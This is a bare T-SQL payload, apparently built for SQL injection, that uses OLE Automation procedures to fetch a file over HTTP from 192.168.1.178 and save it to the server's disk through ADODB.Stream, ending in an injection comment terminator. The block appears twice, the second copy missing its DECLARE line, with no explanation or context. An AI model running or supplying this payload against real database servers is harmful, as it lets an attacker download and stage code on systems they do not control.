DECLARE
@B varbinary ( 8000 ),
@hr int ,
@http INT ,
@down INT
EXEC sp_oacreate [ Microsoft.XMLHTTP ] , @http output
EXEC @hr = sp_oamethod @http , [ Open ] , null , [ GET ] , [ http://192.168.1.178/a.htm ] , 0
EXEC @hr = sp_oamethod @http , [ Send ] , null
EXEC @hr = sp_OAGetProperty @http , [ responseBody ] , @B output
EXEC @hr = sp_oacreate [ ADODB.Stream ] , @down output
EXEC @hr = sp_OASetProperty @down , [ Type ] , 1
EXEC @hr = sp_OASetProperty @down , [ mode ] , 3
EXEC @hr = sp_oamethod @down , [ Open ] , null
EXEC @hr = sp_oamethod @down , [ Write ] , null , @B
EXEC @hr = sp_oamethod @down , [ SaveToFile ] , null , [ C: /file.txt ] , 1 ; --
@B varbinary ( 8000 ),
@hr int ,
@http INT ,
@down INT
EXEC sp_oacreate [ Microsoft.XMLHTTP ] , @http output
EXEC @hr = sp_oamethod @http , [ Open ] , null , [ GET ] , [ http://192.168.1.178/a.htm ] , 0
EXEC @hr = sp_oamethod @http , [ Send ] , null
EXEC @hr = sp_OAGetProperty @http , [ responseBody ] , @B output
EXEC @hr = sp_oacreate [ ADODB.Stream ] , @down output
EXEC @hr = sp_OASetProperty @down , [ Type ] , 1
EXEC @hr = sp_OASetProperty @down , [ mode ] , 3
EXEC @hr = sp_oamethod @down , [ Open ] , null
EXEC @hr = sp_oamethod @down , [ Write ] , null , @B
EXEC @hr = sp_oamethod @down , [ SaveToFile ] , null , [ C: /file.txt ] , 1 ; --